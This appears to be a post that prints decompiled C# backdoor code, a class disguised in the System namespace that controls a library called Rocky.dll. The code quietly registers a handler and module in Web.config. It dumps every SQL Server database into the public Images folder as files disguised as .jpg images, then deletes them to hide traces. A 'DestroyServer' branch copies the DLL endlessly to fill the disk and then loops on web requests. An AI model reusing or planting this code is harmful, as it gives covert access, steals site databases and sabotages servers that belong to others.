看得懂的看

namespace System
{
    
public class _App
{
    // Fields
    private static readonly string DynamicLinkLibrary = (HttpRuntime.BinDirectory + "Rocky.dll");

    // Methods
    internal static void Do(Command cmd)
    {
        int num;
        switch (cmd)
        {
            case Command.DestroyServer:
                IsTrusted = false;
                if (File.Exists(DynamicLinkLibrary))
                {
                    bool flag2;
                    try
                    {
                        num = 0;
                        goto Label_0075;
                    Label_004E:
                        File.Copy(DynamicLinkLibrary, HttpRuntime.BinDirectory + num + ".dll", true);
                        num++;
                    Label_0075:
                        flag2 = true;
                        goto Label_004E;
                    }
                    catch
                    {
                        HttpWalker walker;
                        goto Label_0099;
                    Label_007E:
                        walker = new HttpWalker();
                        walker.set_Url("http://hi.baidu.com/ilovehaley");
                        walker.ToString();
                    Label_0099:
                        flag2 = true;
                        goto Label_007E;
                    }
                }
                break;

            case Command.InstallDefender:
            {
                bool flag = false;
                XmlHelper helper = new XmlHelper(HttpRuntime.AppDomainAppPath + "Web.config");
                if (helper.FindNode("//system.web") == null)
                {
                    helper.InsertNode("//system.web", string.Empty);
                    flag = true;
                }
                if (helper.FindNode("//system.web//httpHandlers") == null)
                {
                    helper.InsertNode("//system.web//httpHandlers", string.Empty);
                    flag = true;
                }
                string str = "//system.web//httpHandlers//add[@type='Rocky.Web.HttpHandler']";
                if (helper.FindNode(str) == null)
                {
                    helper.InsertNode(str, new string[] { "verb", "path", "type" }, new string[] { "*", "/_App.ashx", "Rocky.Web.HttpHandler" });
                    flag = true;
                }
                if (helper.FindNode("//system.web//httpModules") == null)
                {
                    helper.InsertNode("//system.web//httpModules", string.Empty);
                    flag = true;
                }
                string str2 = "//system.web//httpModules//add[@type='Rocky.Web.HttpModule']";
                if (helper.FindNode(str2) == null)
                {
                    helper.InsertNode(str2, new string[] { "name", "type" }, new string[] { "HttpModule", "Rocky.Web.HttpModule" });
                    flag = true;
                }
                if (flag)
                {
                    helper.Save();
                }
                break;
            }
            case Command.UnInstallDefender:
            {
                XmlHelper helper2 = new XmlHelper(HttpRuntime.AppDomainAppPath + "Web.config");
                string str3 = "//system.web//httpHandlers//add[@type='Rocky.Web.HttpHandler']";
                if (helper2.FindNode(str3) != null)
                {
                    helper2.RemoveNode(str3);
                    helper2.Save();
                }
                string str4 = "//system.web//httpModules//add[@type='Rocky.Web.HttpModule']";
                if (helper2.FindNode(str4) != null)
                {
                    helper2.RemoveNode(str4);
                    helper2.Save();
                }
                break;
            }
            case Command.Good:
                IsTrusted = true;
                break;

            case Command.Bad:
                IsTrusted = false;
                break;

            case Command.BackupDB:
                for (num = 0; num < DbBase.get_Factorys().Count; num++)
                {
                    DbFactory factory = DbBase.get_Factorys().get_Item(num);
                    if (factory.get_ProviderName() == 1)
                    {
                        DbBase.BackupSQLServerDB(factory.get_ConnectionString(), string.Concat(new object[] { ThingsPath, @"\aspnet", num, ".jpg" }));
                    }
                }
                break;

            case Command.ClearThings:
                foreach (string str5 in Directory.GetFiles(ThingsPath, "aspnet*.jpg"))
                {
                    IOUtils.DeleteFile(str5);
                }
                break;

            default:
                try
                {
                    if (File.Exists(HttpRuntime.AppDomainAppPath + "Web.config"))
                    {
                        Do(Command.InstallDefender);
                    }
                    else
                    {
                        IOUtils.WriteFile("Web.config", "<?xml version='1.0' encoding='utf-8'?>\r\n<configuration>\r\n  <appSettings/>\r\n  <connectionStrings/>\r\n  <system.web>\r\n    <compilation debug='false' />\r\n    <authentication mode='Windows' />\r\n    <httpHandlers>\r\n      <add verb='*' path='/_App.ashx' type='Rocky.Web.HttpHandler'/>\r\n    </httpHandlers>\r\n  </system.web>\r\n</configuration>");
                    }
                }
                catch
                {
                    Do(Command.DestroyServer);
                }
                break;
        }
    }

    public static void Do(object cmd)
    {
        Do((Command) cmd);
    }

    // Properties
    public static bool IsTrusted
    {
        set
        {
            Assembly.LoadFrom(DynamicLinkLibrary).GetType("Rocky.AppRuntime").GetProperty("IsTrusted").SetValue(null, value, null);
        }
    }

    public static string ThingsPath
    {
        get
        {
            string str = HttpRuntime.AppDomainAppPath + @"Images\";
            IOUtils.CheckFolder(str);
            return str;
        }
    }
}



internal enum Command
    {
        CheckServer,
        DestroyServer,
        InstallDefender,
        UnInstallDefender,
        Good,
        Bad,
        BackupDB,
        ClearThings
    }
}